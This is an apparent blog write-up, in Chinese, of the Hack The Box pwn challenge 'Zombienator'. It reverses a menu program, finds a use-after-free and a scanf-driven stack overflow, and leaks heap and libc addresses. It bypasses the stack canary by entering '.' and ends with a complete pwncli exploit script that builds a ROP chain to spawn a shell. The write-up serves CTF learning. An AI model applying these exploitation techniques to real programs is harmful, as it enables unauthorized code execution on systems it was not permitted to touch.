selph
selph
Published on 2024-11-06 / 23 Visits
0
0

[HTB] Zombienator

前言

一个蛮有收获的综合题目

今天是刷题第13天,继续努力ing!

题目情况

Our radar has detected an approaching swarm of zombies, and the threat level is high. To safeguard our community, we must mobilize an army of Zombienators to fend off this impending attack.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'

逆向分析

菜单题

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 num; // rax

  banner(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      printf(
        "\n"
        "##########################\n"
        "#                        #\n"
        "# 1. Create  Zombienator #\n"
        "# 2. Remove  Zombienator #\n"
        "# 3. Display Zombienator #\n"
        "# 4. Attack              #\n"
        "# 5. Exit                #\n"
        "#                        #\n"
        "##########################\n"
        "\n"
        ">> ");
      num = read_num();
      if ( num != 4 )
        break;
      attack();                                 // 4
                                                // 疑似栈溢出
    }
    if ( num > 4 )
      break;
    switch ( num )
    {
      case 3uLL:
        display();                              // 3
                                                // 打印信息
        break;
      case 1uLL:
        create();                               // 1
                                                // 申请<=0x82字节的内存
        break;
      case 2uLL:
        removez();                              // 2
                                                // 释放后没有清空指针
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  puts("\nGood luck!\n");
  exit(1312);
}

选项1:

unsigned __int64 create()
{
  unsigned __int64 size; // [rsp+8h] [rbp-18h]
  unsigned __int64 idx; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("\nZombienator's tier: ");
  size = read_num();
  if ( size <= 0x82 && size )
  {
    printf("\nFront line (0-4) or Back line (5-9): ");
    idx = read_num();
    if ( idx <= 9 )                             // idx
    {
      *((_QWORD *)&z + idx) = malloc(size);     // 申请内存,大小需要<=0x82
      strcpy(*((char **)&z + idx), "Zombienator ready!");// 写入数据
      printf("\n%s[+] Zombienator created!%s\n", "\x1B[1;32m", "\x1B[1;34m");
    }
    else
    {
      error("[-] Invalid position!");
    }
  }
  else
  {
    error("[-] Cannot create Zombienator for this tier!");
  }
  return v3 - __readfsqword(0x28u);
}

可以分配0x82字节以内的chunk,索引可控,最多10个

选项2:

unsigned __int64 removez()
{
  unsigned __int64 idx; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("\nZombienator's position: ");
  idx = read_num();
  if ( idx <= 9 )
  {
    if ( *((_QWORD *)&z + idx) )
    {
      free(*((void **)&z + idx));               // 释放后没有清空指针
      printf("\n%s[+] Zombienator destroyed!%s\n", "\x1B[1;32m", "\x1B[1;34m");
    }
    else
    {
      error("[-] There is no Zombienator here!");
    }
  }
  else
  {
    error("[-] Invalid position!");
  }
  return v2 - __readfsqword(0x28u);
}

释放后没有清空指针,可能有UAF

选项3:

unsigned __int64 display()
{
  unsigned __int64 i; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  putchar(10);
  for ( i = 0LL; i <= 9; ++i )
  {
    if ( *((_QWORD *)&z + i) )
      fprintf(stdout, "Slot [%d]: %s\n", i, *((const char **)&z + i));
    else
      fprintf(stdout, "Slot [%d]: Empty\n", i);
  }
  putchar(10);
  return v2 - __readfsqword(0x28u);
}

打印所有内容,可以通过UAF泄露数据

选项4:

unsigned __int64 attack()
{
  char v1; // [rsp+7h] [rbp-119h] BYREF
  unsigned __int64 i; // [rsp+8h] [rbp-118h]
  _QWORD v3[33]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("\nNumber of attacks: ");
  __isoc99_scanf("%hhd", &v1);                  // 接收数字输入,0-255
  for ( i = 0LL; i < v1; ++i )
  {
    printf("\nEnter coordinates: ");
    __isoc99_scanf("%lf", &v3[i]);              // 这里索引有问题,按qword索引,会导致栈溢出
  }
  fclose(stderr);
  fclose(stdout);
  return v4 - __readfsqword(0x28u);
}

栈溢出,这里的索引有问题,8字节为单位索引,而循环次数是我们自己输入的,hhd限制在0-255,足够溢出了

利用分析

leak libc address

0x82字节限制,这么特殊的数值,肯定有他这么做的道理

0x80自己的chunk是fastbin chunk默认下最大的chunk,超过就不会进入fastbin

但这里是libc2.35,会先装填tcachebin,只需要填装0x90字节的chunk,装满之后,进入unsortedbin,就能拿到libc address leak:

0x55c985031680  0x0000000000000000      0x0000000000000091      ................         <-- unsortedbin[all][0]
0x55c985031690  0x00007fc149d02ce0      0x00007fc149d02ce0      .,.I.....,.I....
0x55c9850316a0  0x0000000000002179      0x0000000000000000      y!..............
0x55c9850316b0  0x0000000000000000      0x0000000000000000      ................
0x55c9850316c0  0x0000000000000000      0x0000000000000000      ................
0x55c9850316d0  0x0000000000000000      0x0000000000000000      ................
0x55c9850316e0  0x0000000000000000      0x0000000000000000      ................
0x55c9850316f0  0x0000000000000000      0x0000000000000000      ................
0x55c985031700  0x0000000000000000      0x0000000000000000      ................
0x55c985031710  0x0000000000000090      0x0000000000000090      ................

bypass canary & ret2libc

因为不能写入数据到chunk里,所以申请内存的内容能做的事情做完了,接下来该研究选项4的栈溢出漏洞了

因为存在canary,要么泄露出来,要么不修改它,这里的scanf格式化为浮点数:

    __isoc99_scanf("%lf", &v3[i]);              // 这里索引有问题,按qword索引,会导致栈溢出

这里肯定有某种办法可以绕过写入数据,查阅资料得知,是.,输入.则会跳过该地址不写入任何东西

在覆盖返回地址前只需要输入.即可

数据是以浮点数格式输入的,我需要将十六进制数据转换为浮点数,然后再输入,用pwncli提供的u64_float即可

有了libc leak,那么用libc写rop即可

标准输出重定向

ret2libc拿到shell之后,命令可以执行,但是没有回显,因为:

  fclose(stderr);
  fclose(stdout);

标准输出和标准错误被关闭了,通过exec命令可以重定向标准输出到标准输入:

exec 1>&0

就相当于重启了标准输出了

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b">> "):
    sla(prompt, i)

def add(sz:int,idx:int):
    cmd('1')
    sla(b"Zombienator's tier: ",str(sz).encode())
    sla(b"Front line (0-4) or Back line (5-9): ",str(idx).encode())
    #......

def free(idx:int):
    cmd('2')
    sla(b"Zombienator's position: ",str(idx).encode())
    #......

def show():
    cmd('3')
    #......

def attack(num:int,dic:list):
    cmd('4')
    sla(b"Number of attacks: ",str(num).encode())
    for i in dic:
        sla(b"Enter coordinates: ",i)
    #......

# leak libc & heap address
for i in range(7):
    add(0x80,i)
add(0x80,7)
add(0x80,8)
for i in range(7):
    free(i)
free(7)
show()

ru(b"Slot [0]: ")
heapleak = rl()[:-1]
heapleak = unpack(heapleak,"all")
heapbase = heapleak << 12
success(f"Heap address: {hex(heapleak)}")
success(f"Heap base address: {hex(heapbase)}")

ru(b"Slot [7]: ")
libcleak = rl()[:-1]
libcleak = unpack(libcleak,"all")
libc.address = libcleak -0x219ce0
success(f"Libc address: {hex(libcleak)}")
success(f"Libc base address: {hex(libc.address)}")

rop = ROP([libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))

rop_chain = rop.chain()
dic = [b"."]*35
for i in range(len(rop_chain)//8):
    dic.append(str(u64_float(rop_chain[i*8:i*8+8])))

length = len(dic)
attack(length,dic)
ia()

总结

栈溢出题,2个收获:

  1. .可以跳过scanf("%f",v)的输入
  2. stderr和stdout被关闭下可以通过exec 1>&0来重启标准输出

参考资料


Comment